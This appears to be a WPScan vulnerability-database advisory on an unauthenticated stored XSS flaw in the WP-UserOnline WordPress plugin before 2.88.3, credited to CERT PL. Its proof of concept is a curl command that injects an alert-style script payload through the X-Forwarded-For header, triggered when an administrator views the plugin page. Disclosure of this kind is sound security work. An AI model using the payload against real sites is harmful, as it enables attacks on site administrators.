WordPress Plugin Vulnerabilities
WP-UserOnline < 2.88.3 - Unauthenticated Stored XSS
Description
The plugin does not sanitise and escape the X-Forwarded-For header before outputting its content on the page, which allows unauthenticated users to perform Cross-Site Scripting attacks.
Proof of Concept
curl https://example.com -H 'X-Forwarded-For: <img src=x onerror=alert(/xss/)>' Then, as a high-privileged user, visit `/wp-admin/index.php?page=useronline`
Affects Plugins
Fixed in 2.88.3 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Krzysztof Zając (CERT PL)
Submitter
Krzysztof Zając (CERT PL)
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-11-06 (about 6 months ago)
Added
2023-11-06 (about 6 months ago)
Last Updated
2023-11-06 (about 6 months ago)
WPScan 